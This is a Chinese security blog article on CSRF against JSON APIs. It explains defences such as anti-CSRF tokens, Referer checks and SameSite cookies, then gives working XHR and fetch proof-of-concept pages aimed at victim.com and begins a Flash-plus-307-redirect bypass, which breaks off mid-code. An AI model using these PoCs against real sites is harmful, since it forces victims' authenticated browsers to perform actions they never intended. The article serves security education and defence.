'聊聊Json格式下的CSRF攻擊'

JSON 腳本語言 瀏覽器 JavaScript HTML 快快網絡 2019-07-27
"

一、CSRF漏洞

csrf漏洞的成因就是網站的cookie在瀏覽器中不會過期,只要不關閉瀏覽器或者退出登錄,那以後只要是訪問這個網站,都會默認你已經登錄的狀態。而在這個期間,攻擊者發送了構造好的csrf腳本或包含csrf腳本的鏈接,可能會執行一些用戶不想做的功能(比如是添加賬號等)。這個操作不是用戶真正想要執行的。那麼,在json格式下,csrf攻擊怎麼實現呢?

1.1 防禦方案

關於防禦方案,一般有如下幾種:

1)用戶操作驗證,在提交數據時需要輸入驗證碼

2)請求來源驗證,驗證請求來源的referer

3)表單token驗證

現在業界對CSRF的防禦,一致的做法是使用一個Token(Anti CSRF Token)。

這個Token的值必須是隨機的,不可預測的。由於Token的存在,攻擊者無法再構造一個帶有合法Token的請求實施CSRF攻擊。另外使用Token時應注意Token的保密性,儘量把敏感操作由GET改為POST,以form或AJAX形式提交,避免Token洩露。

例子:

第一步:用戶訪問某個表單頁面。

第二步:服務端生成一個Token,放在用戶的Session中,或者瀏覽器的Cookie中。

第三步:在頁面表單附帶上Token參數。

第四步:用戶提交請求後,服務端驗證表單中的Token是否與用戶Session(或Cookies)中的Token一致, 一致為合法請求,不是則非法請求。

4) 在前後端分離的前提下(例如使用ajax提交數據)設置不了token,可以給 cookie 新增 SameSite 屬性,通過這個屬性可以標記哪個 cookie 只作為同站 cookie (即第一方 cookie,不能作為第三方 cookie),既然不能作為第三方 cookie ,那麼別的網站發起第三方請求時,第三方網站是收不到這個被標記關鍵 cookie,後面的鑑權處理就好辦了。這一切都不需要做 token 生命週期的管理,也不用擔心 Referer 會丟失或被中途被篡改。

SameStie 有兩個值:Strict 和 Lax:

SameSite=Strict 嚴格模式,使用 SameSite=Strict 標記的 cookie 在任何情況下(包括異步請求和同步請求),都不能作為第三方 cookie。

SameSite=Lax 寬鬆模式,使用 SameSite=Lax 標記的 cookie 在異步請求 和 form 提交跳轉的情況下,都不能作為第三方 cookie。

那麼Strict和Lax的如何使用呢?

登錄態關鍵的 cookie 都可以設置為 Strict。

後臺根據用戶的登錄態動態新建一個可以用於校驗登錄態的 cookie ,設置為 Lax ,這樣的話對外推廣比如微博什麼的,你希望用戶在微博上打開你的鏈接還能保持登錄態。

如果你的頁面有可能被第三方網站去iframe或有接口需要做jsonp ,那麼都不能設置 Strict 或 Lax。

二、不驗證CONTENT-TYPE的情況

如果服務端沒有校驗Content-Type,或者沒有嚴格校驗Content-Type是否為application/json,我們可以使用XHR來實現csrf,poc如下:

<html>

<head>

<script style="text/javascript">

function submitRequest()

{

var xhr = new XMLHttpRequest();

xhr.open("POST", "http://victim.com/carrieradmin/admin/priceSheet/priceSheet/savePriceSheet.do", true);

xhr.setRequestHeader("Accept", "application/json, text/plain, */*");

xhr.setRequestHeader("Accept-Language", "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3");

xhr.setRequestHeader("Content-Type", "application/json; charset=utf-8");

xhr.withCredentials = true;

xhr.send(JSON.stringify({"serialNumber":"CYS1811291899","type":2,"temp":1,"enableTime":"2018-11-01 00:00:00","disableTime":"2018-11-29 12:00:00","name":"1","supplierCode":"","province":"天津市","city":"天津市","region":"和q區","remark":"","fromType":2,"chargeDetailList":[{"province":"山西省","city":"晉城市","region":"陵川縣","price42":"1","price65":"1","price71":"1","price76":"1","priceA":"11","priceB":"","priceC":"1","times":"1","unloadPrice":"1"}]}));

}

</script>

</head>

<body>

<form action="#">

<input type="button" value="Submit request" onClick="submitRequest()"/>

</form>

</body>

</html>

三、驗證CONTENT-TYPE的情況

當然了,使用XMLHttpRequest、fetch能構造出JSON請求,並且能設置Content-Type,但是無法跨域。

fetch發起的請求代碼:

<html><title>JSON CSRF POC</title><script>

fetch('http://victim.com/vul.page', {method: 'POST', credentials: 'include', headers: {'Content-Type': 'text/plain'}, body: '{"name":"attacker","email":"attacker.com"}'});</script>

</form></html>

我們可以利用Flash的跨域與307跳轉來繞過http自定義頭限制,307跟其他3XX HTTP狀態碼之間的區別就在於,HTTP 307可以確保重定向請求發送之後,請求方法和請求主體不會發生任何改變。HTTP 307會將POST body和HTTP頭重定向到我們所指定的最終URL,並完成攻擊。

3.1 創建flash文件

為了創建能夠發送Web請求的csrf.swf文件,我們需要按照以下步驟操作:

安裝FlexSDK將ActionScript編譯為swf文件。Flex需要安裝32位的JVM,這一步可以安裝32位JDK來完成。

創建一個包含下列ActionScript代碼的text文件,文件名為csrf.as。

獲取託管Flash文件的主機系統(攻擊者的服務器)IP地址/域名,並替換掉代碼中的。

運行“mxmlc csrf.as”命令,將該文件編譯為csrf.swf。

3.2 創建web服務器

1、使用python作為服務器(此方法不推薦):

先創建as文件,用上述步驟編譯:

package

{

import flash.display.Sprite;

import flash.net.URLLoader;

import flash.net.URLRequest;

import flash.ne

"

相關推薦

推薦中...